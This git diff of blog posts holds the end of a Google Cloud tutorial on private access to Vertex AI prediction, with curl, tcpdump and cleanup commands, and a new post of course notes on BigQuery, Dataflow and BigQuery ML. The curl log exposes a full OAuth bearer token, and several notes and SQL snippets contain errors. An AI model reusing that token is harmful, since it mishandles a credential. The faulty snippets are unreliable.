https://us-central1-aiplatform.googleapis.com/v1/projects/${projectid}/locations/us-central1/endpoints/${ENDPOINT_ID}:predict -d @instances.json +``` + +--- + +## 18. Validation - Private Access to Vertex API + +From the `private-client` OS in Cloud Shell four, note the PSC endpoint IP (100.100.10.10) was used to access Vertex API. + +```bash +user@private-client$ curl -v -X POST -H "Authorization: Bearer $(gcloud auth print-access-token)" -H "Content-Type: application/json" https://us-central1-aiplatform.googleapis.com/v1/projects/${projectid}/locations/us-central1/endpoints/${ENDPOINT_ID}:predict -d @instances.json +# Note: Unnecessary use of -X or --request, POST is already inferred. +# * Trying 100.100.10.10:443... +# * Connected to us-central1-aiplatform.googleapis.com (100.100.10.10) port 443 (#0) +# * ALPN, offering h2 +# * ALPN, offering http/1.1 +# * successfully set certificate verify locations: +# * CAfile: /etc/ssl/certs/ca-certificates.crt +# * CApath: /etc/ssl/certs +# * TLSv1.3 (OUT), TLS handshake, Client hello (1): +# * TLSv1.3 (IN), TLS handshake, Server hello (2): +# * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): +# * TLSv1.3 (IN), TLS handshake, Certificate (11): +# * TLSv1.3 (IN), TLS handshake, CERT verify (15): +# * TLSv1.3 (IN), TLS handshake, Finished (20): +# * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): +# * TLSv1.3 (OUT), TLS handshake, Finished (20): +# * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 +# * ALPN, server accepted to use h2 +# * Server certificate: +# * subject: CN=upload.video.google.com +# * start date: May 29 08:21:36 2023 GMT +# * expire date: Aug 21 08:21:35 2023 GMT +# * subjectAltName: host "us-central1-aiplatform.googleapis.com" matched cert's "*.googleapis.com" +# * issuer: C=US; O=Google Trust Services LLC; CN=GTS CA 1C3 +# * SSL certificate verify ok. +# * Using HTTP2, server supports multi-use +# * Connection state changed (HTTP/2 confirmed) +# * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 +# * Using Stream ID: 1 (easy handle 0x55f2ab65c2c0) +# > POST /v1/projects/$projectid/locations/us-central1/endpoints/3328226095324463104:predict HTTP/2 +# > Host: us-central1-aiplatform.googleapis.com +# > user-agent: curl/7.74.0 +# > accept: */* +# > authorization: Bearer ya29.a0AbVbY6NdCbIJYj0mQROeq-xYgQCw534TTtjRc1kBAEOimKCFxb3gqgD5AvhfefJatSNr33eW1YJirfQVMptFoqfjRoB-i8zEJJ_GGCVqhsVnpSOjK0hzJQSuo2YGjIiSe1o1zdo7lWmh1Px-vLe8FImieGkrQ1hqVaa6aCgYKAXgSARESFQFWKvPlUQ_FuKB2hrDJRyFDjupL1g0171 +# > content-type: application/json +# > content-length: 154 +# > +# * Connection state changed (MAX_CONCURRENT_STREAMS == 100)! +# * We are completely uploaded and fine +# < HTTP/2 200 +# < content-type: application/json; charset=UTF-8 +# < x-vertex-ai-internal-prediction-backend: harpoon +# < date: Mon, 03 Jul 2023 22:13:35 GMT +# < vary: X-Origin +# < vary: Referer +# < vary: Origin,Accept-Encoding +# < server: scaffolding on HTTPServer2 +# < cache-control: private +# < x-xss-protection: 0 +# < x-frame-options: SAMEORIGIN +# < x-content-type-options: nosniff +# < accept-ranges: none +# < +# { +# "predictions": [ +# "$479.0", +# "$586.0" +# ], +# "deployedModelId": "1949163636186415104", +# "model": "projects/234086459238/locations/us-central1/models/947543727654567936", +# "modelDisplayName": "diamonds-cpr", +# "modelVersionId": "1" +# } +# * Connection #0 to host us-central1-aiplatform.googleapis.com left intact +# From the TCPDUMP terminal in Cloud Shell three, we can validate that a DNS lookup to us-central1-aiplatform.googleapis.com was not observed since the /etc/host file took precedence yet the PSC IP Address 100.100.10.10 was used in the data path. + + +# user@private-client:~$ sudo tcpdump -i any port 53 -n or host 100.100.10.10 +# tcpdump: data link type LINUX_SLL2 +# tcpdump: verbose output suppressed, use -v[v]... for full protocol decode +# listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes +# 22:13:35.507625 ens4 Out IP 192.168.20.2.37004 > 169.254.169.254.53: 58585+ A? oauth2.googleapis.com. (39) +# 22:13:35.507631 ens4 Out IP 192.168.20.2.37004 > 169.254.169.254.53: 15580+ AAAA? oauth2.googleapis.com. (39) +# 22:13:35.511796 ens4 In IP 169.254.169.254.53 > 192.168.20.2.37004: 58585 16/0/0 A 142.251.6.95, A 108.177.112.95, A 74.125.124.95, A 172.217.212.95, A 172.217.214.95, A 172.253.114.95, A 172.253.119.95, A 108.177.111.95, A 142.250.1.95, A 108.177.121.95, A 142.250.103.95, A 108.177.120.95, A 142.251.171.95, A 142.250.159.95, A 142.251.120.95, A 142.251.161.95 (295) +# 22:13:35.512002 ens4 In IP 169.254.169.254.53 > 192.168.20.2.37004: 15580 4/0/0 AAAA 2607:f8b0:4001:c2b::5f, AAAA 2607:f8b0:4001:c18::5f, AAAA 2607:f8b0:4001:c5f::5f, AAAA 2607:f8b0:4001:c58::5f (151) +# 22:13:35.722145 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [S], seq 1951267724, win 65320, options [mss 1420,sackOK,TS val 1371205990 ecr 0,nop,wscale 7], length 0 +# 22:13:35.730727 ens4 In IP 100.100.10.10.443 > 192.168.20.2.47304: Flags [S.], seq 3198878726, ack 1951267725, win 65535, options [mss 1366,sackOK,TS val 67847676 ecr 1371205990,nop,wscale 8], length 0 +# 22:13:35.730760 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [.], ack 1, win 511, options [nop,nop,TS val 1371205999 ecr 67847676], length 0 +# 22:13:35.738339 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [P.], seq 1:518, ack 1, win 511, options [nop,nop,TS val 1371206006 ecr 67847676], length 517 +# 22:13:35.739922 ens4 In IP 100.100.10.10.443 > 192.168.20.2.47304: Flags [.], ack 518, win 261, options [nop,nop,TS val 67847688 ecr 1371206006], length 0 +# 22:13:35.740860 ens4 In IP 100.100.10.10.443 > 192.168.20.2.47304: Flags [.], seq 1:2709, ack 518, win 261, options [nop,nop,TS val 67847689 ecr 1371206006], length 2708 +# 22:13:35.740863 ens4 In IP 100.100.10.10.443 > 192.168.20.2.47304: Flags [P.], seq 2709:4699, ack 518, win 261, options [nop,nop,TS val 67847689 ecr 1371206006], length 1990 +# 22:13:35.740874 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [.], ack 2709, win 497, options [nop,nop,TS val 1371206009 ecr 67847689], length 0 +# 22:13:35.740886 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [.], ack 4699, win 485, options [nop,nop,TS val 1371206009 ecr 67847689], length 0 +# 22:13:35.742709 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [P.], seq 518:598, ack 4699, win 501, options [nop,nop,TS val 1371206011 ecr 67847689], length 80 +# 22:13:35.743996 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [P.], seq 598:644, ack 4699, win 501, options [nop,nop,TS val 1371206012 ecr 67847689], length 46 +# 22:13:35.744011 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [P.], seq 644:693, ack 4699, win 501, options [nop,nop,TS val 1371206012 ecr 67847689], length 49 +# 22:13:35.744082 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [P.], seq 693:728, ack 4699, win 501, options [nop,nop,TS val 1371206012 ecr 67847689], length 35 +# 22:13:35.744165 ens4 Out IP 192.168.20.2.47304 > 100.100.10.10.443: Flags [P.], seq 728:1069, ack 4699, win 501, options [nop,nop,TS val 1371206012 ecr 67847689], length 341 +# You have successfully validated connecting to online prediction through a public endpoint via the Internet and privately with the use of hybrid networking and **Private Service Connect** (googleapis). Exit from the OS returning to the Cloud Shell prompt. +``` + +--- + +## 19. Clean up + +From Cloud Shell, delete tutorial components. + +```bash +gcloud compute forwarding-rules delete pscvertex --global --quiet + +gcloud compute instances delete workbench-tutorial --zone=us-central1-a --quiet + +gcloud compute addresses delete psc-ip --global --quiet + +gcloud compute networks subnets delete workbench-subnet --region=us-central1 --quiet + +gcloud compute vpn-tunnels delete aiml-vpc-tunnel0 aiml-vpc-tunnel1 on-prem-tunnel0 on-prem-tunnel1 --region=us-central1 --quiet + +gcloud compute vpn-gateways delete aiml-vpn-gw on-prem-vpn-gw --region=us-central1 --quiet + +gcloud compute routers delete aiml-cr-us-central1 cloud-router-us-central1-aiml-nat --region=us-central1 --quiet + +gcloud compute routers delete cloud-router-us-central1-on-prem-nat on-prem-cr-us-central1 --region=us-central1 --quiet + +gcloud compute instances delete `nat-client` `private-client` --zone=us-central1-a --quiet + +gcloud compute firewall-rules delete ssh-iap-`on-prem-vpc` --quiet + +gcloud compute networks subnets delete nat-subnet private-ip-subnet --region=us-central1 --quiet + +gcloud compute networks delete `on-prem-vpc` --quiet + +gcloud compute networks delete `aiml-vpc` --quiet +Delete Vertex Components + +To delete the container image, navigate to Artifact Registry, select the repository you created, and select Delete + +To delete the Storage Bucket, using the Navigation menu in the Cloud Console, browse to Storage, select the bucket, and click Delete: + +Undeploy the model from the endpoint. Navigate to Vertex AI → Online prediction → Select diamonds-cpr_endpoint → Undeploy Model from endpoint → Undeploy + +Delete the Model. Navigate to Vertex AI → Model Registry → Delete Model + +Delete the Online prediction endpoint. Navigate to VertexAI → Online prediction → Select diamonds-cpr_endpoint → Delete endpoint +``` + +--- + +## 20. End + +configured and validated connecting to Online Prediction natively using the Internet and privately with **Private Service Connect** and hybrid networking. + +created a `nat-client` and `private-client` and used TCPDUMP to validate IP Addresses used to reach the Vertex APIs. In addition, you learned about **Private Service Connect** (googleapis) and how it can be used to isolate on-premises and multi-cloud applications by leveraging a customer PSC endpoint. diff --git a/_posts/01Cloud/01GCP/AI/2023-04-24-GCP_AI.md b/_posts/01Cloud/01GCP/AI/2023-04-24-GCP_AI.md new file mode 100644 index 00000000000..1e2c026d76f --- /dev/null +++ b/_posts/01Cloud/01GCP/AI/2023-04-24-GCP_AI.md @@ -0,0 +1,1575 @@ +--- +title: GCP - GCP AI +date: 2023-04-24 11:11:11 -0400 +description: +categories: [01GCP] +# img: /assets/img/sample/rabbit.png +tags: [AI, ML] +--- + +# GCP AI + +- [GCP AI](#gcp-ai) + - [Overview](#overview) + - [Big Data and Machine Learning on GCP](#big-data-and-machine-learning-on-gcp) + - [user example](#user-example) + - [Data Engineering for Streaming Data](#data-engineering-for-streaming-data) + - [Processing](#processing) + - [user example](#user-example-1) + - [pipelines design](#pipelines-design) + - [Visualization with Looker](#visualization-with-looker) + - [Looker](#looker) + - [Looker studio](#looker-studio) + - [Big Data with BigQuery](#big-data-with-bigquery) + - [Storage and analytics](#storage-and-analytics) + - [manages the storage and metadata for datasets](#manages-the-storage-and-metadata-for-datasets) + - [analyzing data](#analyzing-data) + - [BigQuery ML](#bigquery-ml) + - [Phases of ML project](#phases-of-ml-project) + - [BigQuery ML command](#bigquery-ml-command) + - [example](#example) + - [Machine Learning on GCP](#machine-learning-on-gcp) + - [Pre-built APIs](#pre-built-apis) + - [Gen AI](#gen-ai) + - [Vertex AI](#vertex-ai) + - [AutoML](#automl) + - [Custom training](#custom-training) + - [AI Solution](#ai-solution) + - [The Machine Learning Workflow with Vertex AI](#the-machine-learning-workflow-with-vertex-ai) + - [Data preparation](#data-preparation) + - [Model training](#model-training) + - [artificial intelligence vs machine learning](#artificial-intelligence-vs-machine-learning) + - [supervised vs unsupervised learning](#supervised-vs-unsupervised-learning) + - [four machine learning options](#four-machine-learning-options) + - [Model evaluation](#model-evaluation) + - [Precision/Recall curve](#precisionrecall-curve) + - [confusion matrix](#confusion-matrix) + - [Feature importance](#feature-importance) + - [Model deployment and monitoring](#model-deployment-and-monitoring) + +ref: +- [coursera - gcp-big-data-ml-fundamentals](https://www.coursera.org/learn/gcp-big-data-ml-fundamentals) + +--- + +## Overview + +- Data and AI have a powerful partnership; + - data is the foundation of every application integrated with artificial intelligence. + - Without `data`, there is nothing for AI to learn from, no pattern to recognize, and no insight to glean. + - without `artificial intelligence`, large amounts of data can be unmanageable or underutilized. + + +![Screenshot 2023-09-24 at 23.29.13](/assets/img/post/Screenshot%202023-09-24%20at%2023.29.13.png) + +![Screenshot 2023-09-24 at 23.29.20](/assets/img/post/Screenshot%202023-09-24%20at%2023.29.20.png) + +- Google has nine products with over one billion users: Android, Chrome, Gmail, Google Drive, Google Maps, Google Search, the Google Play Store, YouTube, and Photos. + - That’s a lot of data being processed every day! To meet the needs of a growing user base, Google has developed the infrastructure to ingest, manage, and serve high quantities of data from these applications. + - And artificial intelligence and machine learning have been integrated into these products to make the user experience of each even more productive. + - This includes features like search in Photos, recommendations in YouTube, or Smart Compose in Gmail. + +--- + + +## Big Data and Machine Learning on GCP + +![Screenshot 2023-09-24 at 23.37.53](/assets/img/post/Screenshot%202023-09-24%20at%2023.37.53.png) + + +![Screenshot 2023-09-24 at 23.57.30](/assets/img/post/Screenshot%202023-09-24%20at%2023.57.30.png) + +![Screenshot 2023-09-24 at 23.58.34](/assets/img/post/Screenshot%202023-09-24%20at%2023.58.34.png) + +![Screenshot 2023-09-25 at 00.00.23](/assets/img/post/Screenshot%202023-09-25%20at%2000.00.23.png) + +![Screenshot 2023-09-25 at 00.00.02](/assets/img/post/Screenshot%202023-09-25%20at%2000.00.02.png) + + +### user example + +- system that scale up to handle ties of high throughput and then back down again + +![Screenshot 2023-09-25 at 00.03.42](/assets/img/post/Screenshot%202023-09-25%20at%2000.03.42.png) + + +--- + +## Data Engineering for Streaming Data + + +### Processing + +![Screenshot 2023-09-25 at 00.24.48](/assets/img/post/Screenshot%202023-09-25%20at%2000.24.48.png) + +![Screenshot 2023-09-25 at 00.25.09](/assets/img/post/Screenshot%202023-09-25%20at%2000.25.09.png) + + +- **Batch processing** is when the processing and analysis happens on a set of stored data. + - An example is Payroll and billing systems that have to be processed on either a weekly or monthly basis. + +- **Streaming data** is a flow of data records generated by various data sources. The processing of streaming data happens as the data flows through a system. This results in the analysis and reporting of events as they happen. + - An example would be fraud detection or intrusion detection. + - Streaming data processing means that the data is analyzed in near real-time and that actions will be taken on the data as quickly as possible. + +- **Modern data processing** has progressed from legacy batch processing of data toward working with real-time data streams. + - An example of this is streaming music and movies. No longer is it necessary to download an entire movie or album to a local device. Data streams are a key part in the world of big data. + +![Screenshot 2023-09-25 at 00.27.03](/assets/img/post/Screenshot%202023-09-25%20at%2000.27.03.png) + +- In modern organizations, data engineers and data scientists are facing four major challenges. These are collectively known as the 4Vs. They are variety, volume, velocity, and veracity. + +1. **variety**: data could come in from a variety of different sources and in various formats. + 1. Imagine hundreds of thousands of sensors for self-driving cars on roads around the world. + 2. The data is `returned in various formats, such as number, image, or even audio`. + 3. How do we alert our downstream systems of new transactions in an organized way with no duplicates. + +2. **variety**: handle not only an arbitrary variety of input sources, but a `volume of data that varies from gigabytes to petabytes`. + 1. need to know whether the pipeline code and infrastructure can scale with those changes or whether it will grind to a halt or even crash. + 2. ![Screenshot 2023-09-25 at 00.29.35](/assets/img/post/Screenshot%202023-09-25%20at%2000.29.35.png) + + +1. **velocity 速度**: Data often needs to be processed in near real time as soon as it reaches the system. + 1. need a way to handle data that's arrives late, has bad data in the message, or needs to be transformed mid fight because it's streamed into a data warehouse. + 2. ![Screenshot 2023-09-25 at 00.30.00](/assets/img/post/Screenshot%202023-09-25%20at%2000.30.00.png) + + +4. **veracity 真实**: which refers to the `data quality`. Because big data involves a multitude of data dimensions resulting from different data types and sources, there's a possibility that gathered data will come with some inconsistencies and uncertainties. + 1. Challenges like these are common considerations for pipeline developers. + 2. ![Screenshot 2023-09-25 at 00.28.37](/assets/img/post/Screenshot%202023-09-25%20at%2000.28.37.png) + + +#### user example + +- Message-oriented architecture + +![Screenshot 2023-09-25 at 00.31.55](/assets/img/post/Screenshot%202023-09-25%20at%2000.31.55.png) + +![Screenshot 2023-09-25 at 00.32.49](/assets/img/post/Screenshot%202023-09-25%20at%2000.32.49.png) + +![Screenshot 2023-09-25 at 00.33.03](/assets/img/post/Screenshot%202023-09-25%20at%2000.33.03.png) + +![Screenshot 2023-09-25 at 00.33.49](/assets/img/post/Screenshot%202023-09-25%20at%2000.33.49.png) + +![Screenshot 2023-09-25 at 00.35.20](/assets/img/post/Screenshot%202023-09-25%20at%2000.35.20.png) + +![Screenshot 2023-09-25 at 00.35.58](/assets/img/post/Screenshot%202023-09-25%20at%2000.35.58.png) + + +--- + + +### pipelines design + +![Screenshot 2023-09-25 at 00.36.22](/assets/img/post/Screenshot%202023-09-25%20at%2000.36.22.png) + + +![Screenshot 2023-09-25 at 00.36.39](/assets/img/post/Screenshot%202023-09-25%20at%2000.36.39.png) + +- Apache Beam + +![Screenshot 2023-09-25 at 00.38.03](/assets/img/post/Screenshot%202023-09-25%20at%2000.38.03.png) + +![Screenshot 2023-09-25 at 00.38.33](/assets/img/post/Screenshot%202023-09-25%20at%2000.38.33.png) + + +![Screenshot 2023-09-25 at 00.39.11](/assets/img/post/Screenshot%202023-09-25%20at%2000.39.11.png) + +![Screenshot 2023-09-25 at 00.39.42](/assets/img/post/Screenshot%202023-09-25%20at%2000.39.42.png) + +![Screenshot 2023-09-25 at 00.40.38](/assets/img/post/Screenshot%202023-09-25%20at%2000.40.38.png) + +![Screenshot 2023-09-25 at 00.41.16](/assets/img/post/Screenshot%202023-09-25%20at%2000.41.16.png) + +- `Streaming templates`: for processing continuous, or real-time, data. For example: + - Pub/Sub to BigQuery + - Pub/Sub to Cloud Storage + - Datastream to BigQuery + - Pub/Sub to MongoDB +- `Batch templates`: for processing bulk data, or batch load data. For example: + - BigQuery to Cloud Storage + - Bigtable to Cloud Storage + - Cloud Storage to BigQuery + - Cloud Spanner to Cloud Storage +- `utility templates`: address activities related to bulk compression, deletion, and conversion. + +--- + +### Visualization with Looker + +#### Looker + +![Screenshot 2023-09-25 at 00.43.11](/assets/img/post/Screenshot%202023-09-25%20at%2000.43.11.png) + +![Screenshot 2023-09-25 at 00.43.31](/assets/img/post/Screenshot%202023-09-25%20at%2000.43.31.png) + +![Screenshot 2023-09-25 at 00.43.49](/assets/img/post/Screenshot%202023-09-25%20at%2000.43.49.png) + + +Looker output + +![Screenshot 2023-09-25 at 00.45.15](/assets/img/post/Screenshot%202023-09-25%20at%2000.45.15.png) + + +#### Looker studio + +![Screenshot 2023-09-25 at 00.46.52](/assets/img/post/Screenshot%202023-09-25%20at%2000.46.52.png) + +- Looker Studio dashboards are widely used across many Google products and applications. + +- Looker Studio integration + - Looker Studio is integrated into Google Analytics to help visualize, in this case, a summary of a marketing website. + - This dashboard visualizes the total number of visitors through a map, compares month-over-month trends, and even displays visitor distribution by age. + + - Another Looker Studio integration is the GCP billing dashboard. + +- 3 steps needed to create a Looker Studio dashboard. + - choose a template. You can start with either a pre-built template or a blank report. + - link the dashboard to a data source. This might come from BigQuery, a local file, or a Google application like Google Sheets or Google Analytics–or a combination of any of these sources. + - explore dashboard + + +```bash +bq --location=us-east1 mk taxirides + +bq --location=us-east1 mk \ + --time_partitioning_field timestamp \ + --schema ride_id:string,point_idx:integer,latitude:float,longitude:float, timestamp:timestamp,meter_reading:float,meter_increment:float,ride_status:string, passenger_count:integer \ + -t taxirides.realtime + +``` + + +--- + +## Big Data with BigQuery + + +- BigQuery is a fully managed data warehouse. + - A `data warehouse`: a large store, containing terabytes and petabytes of data gathered from a wide range of sources within an organization, that's used to guide management decisions. + - A `data lake`: a pool of raw, unorganized, and unclassified data, which has no specified purpose. + - A data warehouse on the other hand, contains structured and organized data, which can be used for advanced querying. + + +key features of BigQuery. + +- `storage plus analytics`. It’s a place to store petabytes of data. For reference, 1 petabyte is equivalent to 11,000 movies at 4k quality. BigQuery is also a place to analyze data, with built-in features like machine learning, geospatial analysis, and business intelligence, which we will look at a bit later on. + +- `fully managed serverless solution`, don’t need to worry about provisioning any resources or managing servers in the backend but only focus on using SQL queries to answer the organization's questions in the frontend. + +- `flexible pay-as-you-go pricing model` where you pay for the number of bytes of data the query processes and for any permanent table storage. If you prefer to have a fixed bill every month, you can also subscribe to flat-rate pricing where you have a reserved amount of resources for use. + +- `Data in BigQuery is encrypted at rest by default` without any action required from a customer. By encryption at rest, we mean encryption used to protect data that is stored on a disk, including solid-state drives, or backup media. + +- `built-in machine learning features` to write ML models directly in BigQuery using SQL. Also, if you decide to use other professional tools—such as Vertex AI from GCP—to train the ML models, you can export datasets from BigQuery directly into Vertex AI for a seamless integration across the data-to-AI lifecycle. + + +**Data warehouse** solution architecture +- 4 challenges of big data, in modern organizations the data can be in `any format (variety), any size (volume), any speed (velocity), and possibly inaccurate (veracity)`. +- The input data can be either real-time or batch data. + - If it's `streaming data`, which can be either structured or unstructured, high speed, and large volume, Pub/Sub is needed to digest the data. + - If it’s `batch data`, it can be directly uploaded to Cloud Storage. + +- both pipelines lead to Dataflow to process the data. That’s the place we `ETL – extract, transform, and load` – the data if needed. + +- BigQuery sits in the middle to link data processes using Dataflow and data access through analytics, AI, and ML tools. + - The job of the analytics engine of BigQuery at the end of a data pipeline is to ingest all the processed data after ETL, store and analyze it, and possibly output it for further use such as data visualization and machine learning. + +- BigQuery outputs usually feed into two buckets: `business intelligence tools and AI/ML tools`. + - business analyst or data analyst, connect to visualization tools like `Looker, Looker Studio, Tableau, or other BI tools`. If you prefer to work in spreadsheets, you can query both small or large BigQuery datasets directly from Google Sheets and even perform common operations like pivot tables. + - data scientist or machine learning engineer, directly call the data from BigQuery through `AutoML or Workbench`. These AI/ML tools are part of Vertex AI, Google's unified ML platform. + +![Screenshot 2023-09-25 at 01.21.28](/assets/img/post/Screenshot%202023-09-25%20at%2001.21.28.png) + +- BigQuery is like a common staging area for data analytics workloads. When the data is there, business analysts, BI developers, data scientists, and machine learning engineers can be granted access to the data for their own insights. + +--- + +### Storage and analytics + +BigQuery provides two services in one. +- It's both a `fully-managed storage facility to load and store datasets` and also a `fast SQL-based analytical engine`. + +- The two services are connected by Google's high-speed internal network. It's the super-fast network that allows BigQuery to scale both storage and compute independently based on demand. + +![Screenshot 2023-09-27 at 00.07.58](/assets/img/post/Screenshot%202023-09-27%20at%2000.07.58.png) + +![Screenshot 2023-09-27 at 00.04.37](/assets/img/post/Screenshot%202023-09-27%20at%2000.04.37.png) + +#### manages the storage and metadata for datasets + + +- BigQuery can `ingest` datasets from various sources including internal data (data saved directly in BigQuery), external data, multi-Cloud data, and public data-sets. + +![Screenshot 2023-09-27 at 00.05.08](/assets/img/post/Screenshot%202023-09-27%20at%2000.05.08.png) + +- After the data is stored in BigQuery, it's `fully managed and is automatically replicated, backed up, and set to auto-scale`. + +- BigQuery offers the option to `query` external data sources, like data stored in other GCP storage services (Cloud storage) or GCP database services (Spanner or Cloud SQL), and bypass BigQuery managed Storage. + - a raw CSV file in Cloud storage or Google sheet can be used to write a query without being ingested by BigQuery first. + - **inconsistency** might result from saving and processing data separately, consider using **DataFlow** to build a streaming data pipeline into BigQuery. + +![Screenshot 2023-09-27 at 00.05.29](/assets/img/post/Screenshot%202023-09-27%20at%2000.05.29_s93ryq1cz.png) + + +- In addition to internal or native and external data sources, BigQuery can also ingest data from multi-Cloud data, which is data stored in multiple Cloud services, such as AWS or Azure, or a public data set. +- If you don't have any data of the own, you can analyze any of the datasets available in the public data set marketplace. + +![Screenshot 2023-09-27 at 00.06.43](/assets/img/post/Screenshot%202023-09-27%20at%2000.06.43.png) + + +- There are **3 basic patterns to load data into BigQuery**. + + - `batch load`: source data is loaded into a BigQuery table in a single batch operation. + - one-time operation or automated to occur on a schedule. + - A batch load operation can create a new table or open data into an existing table. + + - `streaming`: smaller batches of data are streamed continuously so that the data is available for querying in near real-time. + + - `generated data`: where SQL statements are used to insert rows into an existing table or to write the results of a query to a table. + +![Screenshot 2023-09-27 at 00.07.26](/assets/img/post/Screenshot%202023-09-27%20at%2000.07.26.png) + +#### analyzing data + +- optimized for running analytical queries over large datasets. It can perform queries on terabytes of data in seconds and petabytes in minutes. +- analyze large datasets efficiently and get insights in near real-time. + +![Screenshot 2023-09-27 at 00.08.17](/assets/img/post/Screenshot%202023-09-27%20at%2000.08.17.png) + +- analytics features + + - supports **ad hoc analysis** using `standard SQL, the BigQuery SQL dialect`, **geospatial analytics** using geography data types in `standard SQL geography functions`. + + - supports building **machine learning models** using `BigQuery ML` and building rich **interactive business intelligence dashboards** using `BigQuery BI Engine`. + +- queries + + - By default, it runs `interactive queries`, which means that the queries are executed as needed. + + - offers `batch queries` where each query is queued on the behalf and the query starts when idle resources are available. + +![Screenshot 2023-09-27 at 00.08.58](/assets/img/post/Screenshot%202023-09-27%20at%2000.08.58.png) + +--- + +### BigQuery ML + +- BigQuery started out solely as a data warehouse, over time it has evolved to provide features that support the data to AI lifecycle. + +- building and training them can be very time intensive. + - first `export` data from the data store into an IDE, Integrated Development Environment, such as Jupyter Notebook or Google Colab. + - And then `transform` the data and perform the feature engineering steps before feed it into a training model. + - Then `build` the model in Tensorflow or similar library and train it locally on a computer or on a virtual machine. + - To improve the model performance, you also need to go back and forth to get more data and create new features. This process will need to be repeated, but it's so time intensive that you'll probably stop after a few iterations. + +![Screenshot 2023-09-27 at 00.31.55](/assets/img/post/Screenshot%202023-09-27%20at%2000.31.55.png) + +- Now you can create and execute machine learning models on the structured data sets in BigQuery in just a few minutes using SQL queries. +- 2 steps + - create a model with a SQL statement. Here we can use the numbikes.model data set as an example. + - write a SQL prediction query and invoke ml.PREDICT + - you now have a model and can view the results. + + - Additional steps might include activities like evaluating the model, but if you know basic SQL you can now implement ml, that's pretty cool. + +![Screenshot 2023-09-27 at 00.32.24](/assets/img/post/Screenshot%202023-09-27%20at%2000.32.24.png) + +![Screenshot 2023-09-27 at 00.32.31](/assets/img/post/Screenshot%202023-09-27%20at%2000.32.31.png) + +- BigQuery ML was designed to be simple, like building a model in two steps. That simplicity extends to defining the machine learning hyperparameters, which let you tune the model to achieve the best training result. + - `Hyperparameters` are the settings apply to a model before the training starts, like a learning rate. With BigQuery ML, you can either manually control the hyperparameters. Or add it to BigQuery starting with a default hyperparameter setting and then automatic tuning. + +- When using a structured dataset in BigQuery ML, you need to choose the appropriate **model type**. + - Choosing which type of ML model depends on the business goal and the datasets. + + - BigQuery support `supervised and unsupervised models`. + + - **Supervised models** are task driven and identify a goal. + - if the goal is to classify data like whether an email is spam, use logistic regression. + - If the goal is to predict a number like shoe sales for the next three months, use linear regression + + - **unsupervised models** are data driven and identify a pattern. + + - if the goal is to identify patterns or clusters and then determine the best way to group them. Like grouping random photos of flowers into categories, you should use cluster analysis. + +![Screenshot 2023-09-27 at 00.34.18](/assets/img/post/Screenshot%202023-09-27%20at%2000.34.18.png) + +- decide on the best **model**. + - Categories include classification and regression models. There are also other model options to choose from along with ML Ops. + - Logistic regression is an example of a classification model, + - linear regression is an example of a regression model. + - We recommend that you start with these options and use the results to benchmark. + - To compare against more complex models such as DNN, Deep Neural Networks, which may take more time in computing resources to train and deploy. + +![Screenshot 2023-09-27 at 00.34.47](/assets/img/post/Screenshot%202023-09-27%20at%2000.34.47.png) +- BigQuery ML supports features to deploy, monitor and manage the ML production called ML Ops (machine learning operations). + - Ops include importing Tensorflow models for batch prediction, exporting models from BigQuery ML for online prediction. And hyperparameter tuning using Cloud AI Vizier. + +![Screenshot 2023-09-27 at 00.35.12](/assets/img/post/Screenshot%202023-09-27%20at%2000.35.12.png) + +![Screenshot 2023-09-27 at 00.41.26](/assets/img/post/Screenshot%202023-09-27%20at%2000.41.26.png) + +--- + +#### Phases of ML project + + +key phases of a machine learning project. + + +1. extract, transform and load data into BigQuery if it isn't there already. + 1. using Google products, look out for easy connectors to get the data into BigQuery before you build the own pipeline. + 2. You can enrich the existing data warehouse with other data sources by using ·. + +![Screenshot 2023-09-27 at 11.44.09](/assets/img/post/Screenshot%202023-09-27%20at%2011.44.09.png) + +2. select and preprocessed features. + 1. use SQL to `create the training dataset for the model` to learn from. + 2. BigQuery ML does some of the preprocessing, like one-hot encoding of the categorical variables. + 1. One-hot encoding converts the categorical data into numeric data that is required by a training model. + +![Screenshot 2023-09-27 at 11.44.30](/assets/img/post/Screenshot%202023-09-27%20at%2011.44.30.png) + +3. create and train the model inside BigQuery. + 1. using the create model command, give it a name, specify the model type and pass it in a sequel query with the training dataset, from there you can run the query. + +![Screenshot 2023-09-27 at 11.44.45](/assets/img/post/Screenshot%202023-09-27%20at%2011.44.45.png) + +4. evaluate the performance of the trained model + 1. execute an `ML.evaluate` query to evaluate the performance of the trained model on the evaluation dataset. + 2. analyze lost metrics like a root mean squared error for forecasting models and area under the curve accuracy, precision and recall for classification models. + +![Screenshot 2023-09-27 at 11.45.00](/assets/img/post/Screenshot%202023-09-27%20at%2011.45.00.png) + +5. use it to make predictions. + 1. invoke that `ML.predict` command on the trained model to return with predictions and the model's confidence in those predictions. + 2. With the results the label field will have predicted added to the field name. This is the model's prediction for that label. + +![Screenshot 2023-09-27 at 11.45.16](/assets/img/post/Screenshot%202023-09-27%20at%2011.45.16.png) + + +--- + +#### BigQuery ML command + + +1. CREATE OR REPLACE MODE + +```SQL +CREATE OR REPLACE MODEL 'mydataset.mymodel' +-- create a model +-- or overwrite an existing model + +OPTIONS ( + + model_type = 'linear_reg', + -- only one required + + input_label_cols= 'sales', + is_init_learn_rate= .15, + l1_reg= 1, + max_iterations= 5 +) AS + +``` + + +2. inspect what the model learned + - the output of ml.weights is a numerical value, each feature has a weight from -1 to 1. + - the value indicates how important the feature is for predicting the result or label + - if the number is closer to 0, the feature isn't important for the prediction + - if the number is closer to -1/1, the feature is more important for predicting the result + +```SQL +SELECT + category, weight +FROM + UNNEST( + ( + SELECT category.weights + FROM ML..WEIGHT(MODEL 'bracketology.ncaa.model') + WHERE processed_input = 'seed' + ) + ) 